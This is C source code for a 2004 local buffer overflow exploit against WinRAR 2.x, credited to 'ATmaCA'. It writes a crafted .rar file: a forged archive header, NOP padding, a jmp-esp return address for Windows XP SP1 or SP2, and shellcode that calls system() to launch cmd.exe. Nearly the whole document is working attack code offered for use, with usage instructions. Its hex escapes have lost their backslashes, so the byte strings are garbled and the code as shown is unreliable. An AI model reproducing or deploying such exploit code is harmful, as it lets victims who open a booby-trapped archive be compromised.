/*
* WinRar local buffer overflow exploit V1.0
* Coded By ATmaCA
* Copyright ? 2004 ProGroup Software, Inc.
* E-Mail:atmaca@prohack.net
* Web:www.prohack.net
* Usage:rnexploit <Target> <OutputPath>
* Targets:
* 1 - WinXP SP1 user32.dll [0x77D718FC]
* 2 - WinXP SP2 user32.dll [0x77D8AF0A]
* Example:exploit 1 myrar.rar
*/

/*
* All WinRar 2.x series are effected
* 3.x series not effected
* If you want to test and you do not have WinRar V2.x
* You can download it from http://atmaca.prorat.net/Src/winrar.zip
*/

#include <stdio.h>
#include <stdlib.h>
#include <conio.h>

#ifdef __BORLANDC__
       #include <mem.h>
#endif

#define NOP 0x90

/*crafted rar header*/
char winrar_header[] =
"x52x61x72x21x1Ax07x00xCFx90x73x00x00x0Dx00x00x00"
"x00x00x00x00x4Ax91x74x80x80x35x00x00x00x00x00x00"
"x00x00x00x02x00x00x00x00x12";

/*launch a local cmd.exe*/
char shellcode[]=
"x68"                    // push
"cmd "                    // cmd
"x8BxC4"                // mov eax,esp
"x50"                    // push eax
"xB8xc7x93xC2x77"    // mov eax,77C293C7 (address of system() on WinXP SP2
- msvcrt.dll)
"xFFxD0"                // call eax
;

char *target[]=  //return addr
{
       "xFCx18xD7x77",   //User32 jmp esp addr  WinXp Sp1
       "x0AxAFxD8x77"    //User32 jmp esp addr  WinXp Sp2
};

char *sysadrr[]=
{
       "x44x80xC2x77",   //77C28044 XP Sp1  msvcrt.dll system()
       "xC7x93xC2x77"    //77C293C7 XP Sp2  msvcrt.dll system()
};

FILE   *di;
int    targetnum;
int    i;

void main(int argc, char *argv[])
{

       if (argc < 3)
       {
                printf("rnWinRar local buffer overflow exploit V1.0rn",
argv[0]);
                printf("Coded By ATmaCArn");
                printf("Copyright ? 2004 ProGroup Software, Inc.rn");
                printf("E-Mail:atmaca@prohack.netrn");
                printf("Web:www.prohack.netrnrn");
                printf("Usage:rnexploit <Target>
<OutputPath>rnrn",argv[0]);
                printf("Targets:n");
                printf("1 - WinXP SP1 english user32.dll [0x77D718FC]n");
                printf("2 - WinXP SP2 english user32.dll [0x77D8AF0A]n");
                printf("Example:exploit 1 myrar.rarn");

                return;
       }

       targetnum = atoi(argv[1]) - 1;

       if( (di=fopen(argv[2],"wb")) == NULL )
       {
               printf("Error opening file!n");
               return;
       }
       for(i=0;i<sizeof(winrar_header)-1;i++)
               fputc(winrar_header[i],di);

       /*stuff in a couple of NOPs*/
       for(i=0;i<1051;i++)
               fputc(NOP,di);

       fprintf(di,"%s",target[targetnum]); //EIP

       for(i=0;i<50;i++) //NOPs
               fputc(NOP,di);

       memcpy(shellcode+9,sysadrr[targetnum],4); //system() addr

       /*Overwriting the return address (EIP) with JMP ESP address
       located somewhere in process space */
       for(i=0;i<sizeof(shellcode)-1;i++)
               fputc(shellcode[i],di);

       for(i=0;i<50;i++) //NOPs
               fputc(NOP,di);

       printf("Exploit rar file %s has been generated!n",argv[2]);

       fclose(di);
}

// www.Syue.com [2004-09-28]